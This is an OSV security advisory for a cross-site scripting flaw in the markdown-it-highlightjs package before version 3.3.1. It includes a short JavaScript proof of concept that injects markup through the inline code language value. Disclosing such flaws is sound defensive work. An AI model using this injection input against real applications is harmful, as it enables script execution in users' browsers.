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osvGoogleOSV:GHSA-F246-XRRJ-G8J6
HistoryFeb 10, 2022 - 8:19 p.m.

Cross-site Scripting in markdown-it-highlightjs

2022-02-1020:19:47
Google
osv.dev
10
markdown-it-highlightjs
cross-site scripting
version 3.3.1
malicious javascript
inline code highlighting

EPSS

0.001

Percentile

38.7%

This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.

const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it'); 
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}'); 
console.log(reuslt_xss);

EPSS

0.001

Percentile

38.7%

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